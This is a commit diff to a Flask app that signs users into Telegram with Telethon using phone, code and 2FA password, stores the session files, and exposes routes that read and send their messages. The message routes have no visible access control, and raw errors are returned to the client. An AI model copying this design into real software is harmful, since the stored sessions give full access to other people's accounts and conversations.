Update app.py

app.py

@@ -1,4 +1,3 @@
-
 from flask import Flask, request, jsonify, render_template_string, send_from_directory
 from telethon.sync import TelegramClient
 from telethon import events
@@ -115,10 +114,7 @@ HTML_TEMPLATE = '''
             const result = await response.json();
             alert(result.message);
             if (result.success) {
-                document.getElementById('password').style.display = 'inline';
-                document.getElementById('submitPassword').style.display = 'inline';
-                document.getElementById('submitCode').style.display = 'none';
-                document.getElementById('code').style.display = 'none';
+                location.reload();
             } else if (result.password_required) {
                 document.getElementById('password').style.display = 'inline';
                 document.getElementById('submitPassword').style.display = 'inline';
@@ -177,35 +173,36 @@ def login():
     client = TelegramClient(session_file, API_ID, API_HASH)
     try:
         if step == 'start':
+            client.connect()
             client.send_code_request(phone)
             return jsonify({'success': True, 'message': 'Code sent to your Telegram'})
         elif step == 'code':
-            client.start(phone)
-            client.sign_in(phone, code)
-            me = client.get_me()
+            client.connect()
+            me = client.sign_in(phone, code)
             with sqlite3.connect(DB_PATH) as conn:
                 c = conn.cursor()
                 c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                           (str(me.id), me.username or '', phone, session_file))
                 conn.commit()
-            client.disconnect()
             return jsonify({'success': True, 'message': 'Logged in successfully'})
         elif step == 'password':
-            client.sign_in(password=password)
-            me = client.get_me()
+            client.connect()
+            me = client.sign_in(password=password)
             with sqlite3.connect(DB_PATH) as conn:
                 c = conn.cursor()
                 c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
                           (str(me.id), me.username or '', phone, session_file))
                 conn.commit()
-            client.disconnect()
             return jsonify({'success': True, 'message': 'Logged in with cloud password'})
+        else:
+            return jsonify({'success': False, 'message': 'Invalid step'})
     except Exception as e:
-        if 'session password' in str(e):
+        if 'session password' in str(e).lower() or '2fa' in str(e).lower():
             return jsonify({'success': False, 'password_required': True, 'message': 'Cloud password required'})
         return jsonify({'success': False, 'message': str(e)})
     finally:
-        client.disconnect()
+        if client.is_connected():
+            client.disconnect()
 
 @app.route('/user/<int:user_id>/messages')
 def get_messages(user_id):
@@ -294,4 +291,4 @@ def send_message(user_id):
 
 if __name__ == '__main__':
     init_db()
-    app.run(host=HOST, port=PORT)
+    app.run(host=HOST, port=PORT)